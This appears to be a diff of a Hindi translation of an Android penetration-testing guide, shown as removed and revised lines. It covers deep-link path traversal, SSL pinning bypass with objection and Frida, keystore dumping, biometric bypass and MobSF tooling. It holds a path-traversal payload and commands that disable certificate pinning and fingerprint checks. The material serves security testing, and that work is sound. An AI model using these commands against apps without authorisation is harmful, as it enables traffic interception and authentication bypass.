आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ इस तरह पहुंच सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **ओपन रीडायरेक्ट** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/)।
|
||||
आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर एक पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ ऐसा एक्सेस कर सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
|
||||
ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **ओपन रीडायरेक्ट** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है।
|
||||
|
||||
**अधिक उदाहरण**
|
||||
|
||||
@ -391,47 +391,47 @@ _ध्यान दें कि आप **पैकेज नाम छोड
|
||||
|
||||
- **प्रमाणपत्रों की हमेशा सही तरीके से जांच नहीं की जाती** Android एप्लिकेशनों द्वारा। इन एप्लिकेशनों के लिए चेतावनियों की अनदेखी करना और स्व-हस्ताक्षरित प्रमाणपत्रों को स्वीकार करना या कुछ मामलों में HTTP कनेक्शन का उपयोग करना सामान्य है।
|
||||
- **SSL/TLS हैंडशेक के दौरान बातचीत कभी-कभी कमजोर होती है**, असुरक्षित सिफर सूट का उपयोग करते हुए। यह कमजोरी कनेक्शन को मैन-इन-द-मिडल (MITM) हमलों के प्रति संवेदनशील बनाती है, जिससे हमलावर डेटा को डिक्रिप्ट कर सकते हैं।
|
||||
- **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संचार करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से बचाने में विफल रहता है।
|
||||
- **निजी जानकारी का लीक होना** एक जोखिम है जब एप्लिकेशन सुरक्षित चैनलों का उपयोग करके प्रमाणीकरण करते हैं लेकिन फिर अन्य लेनदेन के लिए असुरक्षित चैनलों के माध्यम से संचार करते हैं। यह दृष्टिकोण संवेदनशील डेटा, जैसे सत्र कुकीज़ या उपयोगकर्ता विवरण, को दुर्भावनापूर्ण संस्थाओं द्वारा इंटरसेप्शन से सुरक्षित नहीं रखता है।
|
||||
|
||||
#### प्रमाणपत्र सत्यापन
|
||||
|
||||
हम **प्रमाणपत्र सत्यापन** पर ध्यान केंद्रित करेंगे। सुरक्षा बढ़ाने के लिए सर्वर के प्रमाणपत्र की अखंडता की जांच की जानी चाहिए। यह महत्वपूर्ण है क्योंकि असुरक्षित TLS कॉन्फ़िगरेशन और असुरक्षित चैनलों के माध्यम से संवेदनशील डेटा का संचरण महत्वपूर्ण जोखिम पैदा कर सकता है। सर्वर प्रमाणपत्रों को सत्यापित करने और कमजोरियों को संबोधित करने के लिए विस्तृत चरणों के लिए, [**यह संसाधन**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है।
|
||||
हम **प्रमाणपत्र सत्यापन** पर ध्यान केंद्रित करेंगे। सुरक्षा बढ़ाने के लिए सर्वर के प्रमाणपत्र की अखंडता की जांच की जानी चाहिए। यह महत्वपूर्ण है क्योंकि असुरक्षित TLS कॉन्फ़िगरेशन और असुरक्षित चैनलों के माध्यम से संवेदनशील डेटा का संचरण महत्वपूर्ण जोखिम पैदा कर सकता है। सर्वर प्रमाणपत्रों को सत्यापित करने और कमजोरियों को संबोधित करने के लिए विस्तृत कदमों के लिए, [**यह संसाधन**](https://manifestsecurity.com/android-application-security-part-10/) व्यापक मार्गदर्शन प्रदान करता है।
|
||||
|
||||
#### SSL पिनिंग
|
||||
|
||||
SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करता है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है।
|
||||
SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करता है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना दृढ़ता से अनुशंसित है।
|
||||
|
||||
#### ट्रैफ़िक निरीक्षण
|
||||
|
||||
HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल के प्रमाणपत्र को स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)।
|
||||
HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल के प्रमाणपत्र को स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता है। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)।
|
||||
|
||||
**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल का संदर्भ लें**](make-apk-accept-ca-certificate.md)。
|
||||
**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िग को संशोधित करने की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िग को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) को देखें।
|
||||
|
||||
#### SSL पिनिंग को बायपास करना
|
||||
|
||||
जब SSL पिनिंग लागू होती है, तो HTTPS ट्रैफ़िक का निरीक्षण करने के लिए इसे बायपास करना आवश्यक हो जाता है। इस उद्देश्य के लिए विभिन्न विधियाँ उपलब्ध हैं:
|
||||
|
||||
- स्वचालित रूप से **संशोधित करें** **apk** को **SSL पिनिंग को बायपास** करने के लिए [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग को बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा।
|
||||
- स्वचालित रूप से **संशोधित करें** **apk** को **SSL पिनिंग बायपास** करने के लिए [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा।
|
||||
- आप इस सुरक्षा को बायपास करने के लिए **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई)। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- आप **SSL पिनिंग को स्वचालित रूप से बायपास करने** के लिए [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` का प्रयास कर सकते हैं।
|
||||
- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके भी **SSL पिनिंग को स्वचालित रूप से बायपास करने** का प्रयास कर सकते हैं (नीचे समझाया गया)।
|
||||
- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** का प्रयास कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- आप **objection** का उपयोग करके **स्वचालित रूप से SSL पिनिंग बायपास** करने की कोशिश कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **स्वचालित रूप से SSL पिनिंग बायपास** करने की कोशिश कर सकते हैं (नीचे समझाया गया)
|
||||
- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** की कोशिश कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### सामान्य वेब कमजोरियों की खोज
|
||||
|
||||
यह भी महत्वपूर्ण है कि आप एप्लिकेशन के भीतर सामान्य वेब कमजोरियों की खोज करें। इन कमजोरियों की पहचान और शमन के बारे में विस्तृत जानकारी इस सारांश के दायरे से परे है लेकिन इसे अन्यत्र व्यापक रूप से कवर किया गया है।
|
||||
यह भी महत्वपूर्ण है कि आप एप्लिकेशन के भीतर सामान्य वेब कमजोरियों की खोज करें। इन कमजोरियों की पहचान और शमन के लिए विस्तृत जानकारी इस सारांश के दायरे से परे है लेकिन इसे अन्यत्र व्यापक रूप से कवर किया गया है।
|
||||
|
||||
### Frida
|
||||
|
||||
[Frida](https://www.frida.re) डेवलपर्स, रिवर्स-इंजीनियर्स और सुरक्षा शोधकर्ताओं के लिए एक डायनामिक इंस्ट्रुमेंटेशन टूलकिट है।\
|
||||
**आप चल रहे एप्लिकेशन तक पहुंच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\
|
||||
**आप चल रहे एप्लिकेशन तक पहुँच सकते हैं और रन टाइम पर विधियों को हुक कर सकते हैं ताकि व्यवहार को बदल सकें, मान बदल सकें, मान निकाल सकें, विभिन्न कोड चला सकें...**\
|
||||
यदि आप Android एप्लिकेशनों का परीक्षण करना चाहते हैं, तो आपको Frida का उपयोग करना सीखना होगा।
|
||||
|
||||
- Frida का उपयोग कैसे करें: [**Frida ट्यूटोरियल**](frida-tutorial/index.html)
|
||||
- Frida के साथ क्रियाओं के लिए कुछ "GUI": [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection Frida के उपयोग को स्वचालित करने के लिए शानदार है: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- आप यहाँ कुछ शानदार Frida स्क्रिप्ट्स पा सकते हैं: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने का प्रयास करें Frida को [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में इंगित किए गए अनुसार लोड करके (उपकरण [linjector](https://github.com/erfur/linjector-rs))
|
||||
- एंटी-डिबगिंग / एंटी-Frida तंत्रों को बायपास करने के लिए Frida को लोड करने की कोशिश करें जैसा कि [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) में संकेतित है (उपकरण [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **मेमोरी डंप - Fridump**
|
||||
|
||||
@ -452,9 +452,9 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Keystore में संवेदनशील डेटा**
|
||||
|
||||
Android में Keystore संवेदनशील डेटा को स्टोर करने के लिए सबसे अच्छा स्थान है, हालाँकि, पर्याप्त विशेषाधिकार के साथ इसे **एक्सेस करना संभव है**। चूंकि एप्लिकेशन यहाँ **स्पष्ट पाठ में संवेदनशील डेटा** स्टोर करने की प्रवृत्ति रखते हैं, इसलिए pentests को इसे रूट उपयोगकर्ता के रूप में जांचना चाहिए या किसी के पास डिवाइस तक भौतिक पहुंच हो सकती है जो इस डेटा को चुरा सकता है।
|
||||
Android में Keystore संवेदनशील डेटा संग्रहीत करने के लिए सबसे अच्छा स्थान है, हालाँकि, पर्याप्त विशेषाधिकार के साथ इसे **एक्सेस करना संभव है**। चूंकि एप्लिकेशन यहाँ **स्पष्ट पाठ में संवेदनशील डेटा** संग्रहीत करने की प्रवृत्ति रखते हैं, इसलिए pentests को इसे रूट उपयोगकर्ता के रूप में जांचना चाहिए या किसी के पास डिवाइस तक भौतिक पहुंच हो सकती है जो इस डेटा को चुरा सकता है।
|
||||
|
||||
यहां तक कि अगर एक ऐप ने keystore में डेटा स्टोर किया है, तो डेटा को एन्क्रिप्ट किया जाना चाहिए।
|
||||
यहां तक कि अगर एक ऐप ने keystore में डेटा संग्रहीत किया है, तो डेटा को एन्क्रिप्ट किया जाना चाहिए।
|
||||
|
||||
Keystore के अंदर डेटा तक पहुँचने के लिए आप इस Frida स्क्रिप्ट का उपयोग कर सकते हैं: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||
```bash
|
||||
@ -462,19 +462,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **Fingerprint/Biometrics Bypass**
|
||||
|
||||
निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोगों द्वारा **कुछ संवेदनशील क्षेत्रों की सुरक्षा** के लिए किया जा रहा है:
|
||||
निम्नलिखित Frida स्क्रिप्ट का उपयोग करके यह संभव हो सकता है कि **फिंगरप्रिंट प्रमाणीकरण** को बायपास किया जा सके जो Android अनुप्रयोगों द्वारा कुछ संवेदनशील क्षेत्रों की **सुरक्षा** के लिए किया जा रहा है:
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **पृष्ठभूमि छवियाँ**
|
||||
|
||||
जब आप एक एप्लिकेशन को पृष्ठभूमि में डालते हैं, तो Android **एप्लिकेशन का एक स्नैपशॉट** स्टोर करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ।
|
||||
जब आप एक एप्लिकेशन को पृष्ठभूमि में रखते हैं, तो Android **एप्लिकेशन का स्नैपशॉट** संग्रहीत करता है ताकि जब इसे अग्रभूमि में पुनर्प्राप्त किया जाए, तो यह एप्लिकेशन से पहले छवि लोड करना शुरू कर दे, जिससे ऐसा लगता है कि एप्लिकेशन तेजी से लोड हुआ है।
|
||||
|
||||
हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** होती है, तो स्नैपशॉट तक पहुंच रखने वाला कोई व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)।
|
||||
हालांकि, यदि इस स्नैपशॉट में **संवेदनशील जानकारी** है, तो स्नैपशॉट तक पहुंच रखने वाला कोई व्यक्ति उस जानकारी को **चुरा सकता है** (ध्यान दें कि इसे एक्सेस करने के लिए आपको रूट की आवश्यकता है)।
|
||||
|
||||
स्नैपशॉट आमतौर पर इस स्थान पर स्टोर होते हैं: **`/data/system_ce/0/snapshots`**
|
||||
स्नैपशॉट आमतौर पर यहाँ संग्रहीत होते हैं: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके **स्क्रीनशॉट कैप्चर को रोकने** का एक तरीका प्रदान करता है। इस फ्लैग का उपयोग करके, विंडो की सामग्री को सुरक्षित माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
|
||||
Android **FLAG_SECURE** लेआउट पैरामीटर सेट करके स्क्रीनशॉट कैप्चर को **रोकने** का एक तरीका प्रदान करता है। इस ध्वज का उपयोग करके, विंडो की सामग्री को सुरक्षित के रूप में माना जाता है, जिससे यह स्क्रीनशॉट में दिखाई नहीं देती या असुरक्षित डिस्प्ले पर नहीं देखी जा सकती।
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -523,7 +523,7 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
ध्यान दें कि MobSF **Android**(apk)**, IOS**(ipa) **और Windows**(apx) अनुप्रयोगों का विश्लेषण कर सकता है (_Windows अनुप्रयोगों का विश्लेषण Windows होस्ट में स्थापित MobSF से किया जाना चाहिए_)।\
|
||||
इसके अलावा, यदि आप एक **ZIP** फ़ाइल बनाते हैं जिसमें एक **Android** या **IOS** ऐप का स्रोत कोड होता है (अनुप्रयोग के रूट फ़ोल्डर पर जाएं, सब कुछ चुनें और एक ZIP फ़ाइल बनाएं), तो यह इसका विश्लेषण भी कर सकेगा।
|
||||
|
||||
MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपनी API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा।
|
||||
MobSF आपको **diff/Compare** विश्लेषण करने और **VirusTotal** को एकीकृत करने की अनुमति भी देता है (आपको _MobSF/settings.py_ में अपना API कुंजी सेट करने की आवश्यकता होगी और इसे सक्षम करना होगा: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)। आप `VT_UPLOAD` को `False` पर भी सेट कर सकते हैं, तब **hash** फ़ाइल के बजाय **upload** किया जाएगा।
|
||||
|
||||
### MobSF के साथ सहायक गतिशील विश्लेषण
|
||||
|
||||
@ -534,15 +534,15 @@ MobSF आपको **diff/Compare** विश्लेषण करने और
|
||||
- **HTTPS ट्रैफ़िक कैप्चर करें**
|
||||
- **Frida** का उपयोग करके **runtime** **जानकारी** प्राप्त करें
|
||||
|
||||
Android **संस्करण > 5** से, यह **स्वचालित रूप से Frida शुरू करेगा** और **ट्रैफ़िक कैप्चर** करने के लिए वैश्विक **proxy** सेटिंग्स सेट करेगा। यह केवल परीक्षण किए गए अनुप्रयोग से ट्रैफ़िक कैप्चर करेगा।
|
||||
Android **संस्करण > 5** से, यह **स्वचालित रूप से Frida** शुरू करेगा और **ट्रैफ़िक कैप्चर** करने के लिए वैश्विक **proxy** सेटिंग्स सेट करेगा। यह केवल परीक्षण किए गए अनुप्रयोग से ट्रैफ़िक कैप्चर करेगा।
|
||||
|
||||
**Frida**
|
||||
|
||||
डिफ़ॉल्ट रूप से, यह **SSL पिनिंग**, **root detection** और **debugger detection** को **बायपास** करने और **दिलचस्प APIs** की निगरानी करने के लिए कुछ Frida स्क्रिप्ट्स का भी उपयोग करेगा।\
|
||||
MobSF **निर्यातित गतिविधियों** को **invoke** कर सकता है, उनके **स्क्रीनशॉट** ले सकता है और उन्हें रिपोर्ट के लिए **सहेज** सकता है।
|
||||
|
||||
गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। **Frida Live Logs** पर दबाएं ताकि Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देख सकें और "**Live API Monitor**" पर दबाएं ताकि सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देख सकें (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
|
||||
MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)।
|
||||
गतिशील परीक्षण **शुरू** करने के लिए हरे बटन पर दबाएं: "**Start Instrumentation**"। Frida स्क्रिप्ट द्वारा उत्पन्न लॉग देखने के लिए "**Frida Live Logs**" पर दबाएं और सभी हुक किए गए तरीकों, पास किए गए तर्कों और लौटाए गए मानों के आवाहनों को देखने के लिए "**Live API Monitor**" पर दबाएं (यह "Start Instrumentation" दबाने के बाद दिखाई देगा)।\
|
||||
MobSF आपको अपनी **Frida स्क्रिप्ट** लोड करने की भी अनुमति देता है (अपने शुक्रवार स्क्रिप्ट के परिणाम MobSF को भेजने के लिए `send()` फ़ंक्शन का उपयोग करें)। इसमें **कई पूर्व-लिखित स्क्रिप्ट** भी हैं जिन्हें आप लोड कर सकते हैं (आप `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` में और अधिक जोड़ सकते हैं), बस **उन्हें चुनें**, "**Load**" पर दबाएं और "**Start Instrumentation**" पर दबाएं (आप उस स्क्रिप्ट के लॉग "**Frida Live Logs**" के अंदर देख सकेंगे)।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -550,7 +550,7 @@ MobSF आपको अपनी **Frida स्क्रिप्ट** लोड
|
||||
|
||||
- **लोड की गई कक्षाओं की गणना करें**: यह सभी लोड की गई कक्षाओं को प्रिंट करेगा
|
||||
- **स्ट्रिंग कैप्चर करें**: यह अनुप्रयोग का उपयोग करते समय सभी कैप्चर की गई स्ट्रिंग्स को प्रिंट करेगा (बहुत शोर)
|
||||
- **स्ट्रिंग तुलना कैप्चर करें**: यह बहुत उपयोगी हो सकता है। यह **2 स्ट्रिंग्स को दिखाएगा जो तुलना की जा रही हैं** और यदि परिणाम सत्य या असत्य था।
|
||||
- **स्ट्रिंग तुलना कैप्चर करें**: यह बहुत उपयोगी हो सकता है। यह **दो स्ट्रिंग्स को दिखाएगा जो तुलना की जा रही हैं** और यदि परिणाम सत्य या असत्य था।
|
||||
- **कक्षा विधियों की गणना करें**: कक्षा का नाम डालें (जैसे "java.io.File") और यह कक्षा की सभी विधियों को प्रिंट करेगा।
|
||||
- **कक्षा पैटर्न खोजें**: पैटर्न द्वारा कक्षाओं की खोज करें
|
||||
- **कक्षा विधियों को ट्रेस करें**: **पूरी कक्षा** को **ट्रेस** करें (कक्षा की सभी विधियों के इनपुट और आउटपुट देखें)। याद रखें कि डिफ़ॉल्ट रूप से MobSF कई दिलचस्प Android API विधियों को ट्रेस करता है।
|
||||
@ -571,7 +571,7 @@ receivers
|
||||
**HTTP tools**
|
||||
|
||||
जब http ट्रैफ़िक कैप्चर किया जाता है, तो आप "**HTTP(S) Traffic**" के नीचे कैप्चर किए गए ट्रैफ़िक का एक खराब दृश्य देख सकते हैं या "**Start HTTPTools**" हरे बटन में एक बेहतर दृश्य देख सकते हैं। दूसरे विकल्प से, आप **captured requests** को **proxies** जैसे Burp या Owasp ZAP को **send** कर सकते हैं।\
|
||||
इसके लिए, _Burp को चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))।
|
||||
इसके लिए, _Burp चालू करें -->_ _Intercept बंद करें --> MobSB HTTPTools में अनुरोध का चयन करें_ --> "**Send to Fuzzer**" दबाएं --> _proxy पता चुनें_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))।
|
||||
|
||||
एक बार जब आप MobSF के साथ डायनामिक एनालिसिस समाप्त कर लेते हैं, तो आप "**Start Web API Fuzzer**" पर क्लिक कर सकते हैं ताकि **http requests** को **fuzz** किया जा सके और कमजोरियों की तलाश की जा सके।
|
||||
|
||||
@ -589,13 +589,13 @@ receivers
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
यह एक **great tool है static analysis करने के लिए GUI के साथ**
|
||||
यह **GUI के साथ स्थिर विश्लेषण करने के लिए एक शानदार टूल है**
|
||||
|
||||
.png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
यह टूल कई **security related Android application vulnerabilities** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल **"Proof-of-Concept" deployable APK** और **ADB commands** बनाने में भी **capable** है, ताकि कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है।
|
||||
यह टूल कई **सुरक्षा संबंधित Android एप्लिकेशन कमजोरियों** की तलाश करने के लिए डिज़ाइन किया गया है, चाहे वह **source code** में हो या **packaged APKs** में। यह टूल **"Proof-of-Concept" deployable APK** और **ADB commands** बनाने में भी **सक्षम** है, ताकि कुछ पाए गए कमजोरियों (Exposed activities, intents, tapjacking...) का शोषण किया जा सके। Drozer की तरह, परीक्षण डिवाइस को रूट करने की आवश्यकता नहीं है।
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -615,11 +615,11 @@ reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके ऐसा करता है।
|
||||
SUPER एक कमांड-लाइन एप्लिकेशन है जिसे Windows, MacOS X और Linux में उपयोग किया जा सकता है, जो _.apk_ फ़ाइलों का विश्लेषण करता है ताकि कमजोरियों की खोज की जा सके। यह APKs को डिकंप्रेस करके और उन कमजोरियों का पता लगाने के लिए नियमों की एक श्रृंखला लागू करके करता है।
|
||||
|
||||
सभी नियम `rules.json` फ़ाइल में केंद्रित होते हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकता है।
|
||||
सभी नियम `rules.json` फ़ाइल में केंद्रित हैं, और प्रत्येक कंपनी या परीक्षक अपने आवश्यकताओं के अनुसार विश्लेषण करने के लिए अपने नियम बना सकता है।
|
||||
|
||||
नवीनतम बाइनरी [download page](https://superanalyzer.rocks/download.html) से डाउनलोड करें।
|
||||
नवीनतम बाइनरी [डाउनलोड पृष्ठ](https://superanalyzer.rocks/download.html) से डाउनलोड करें।
|
||||
```
|
||||
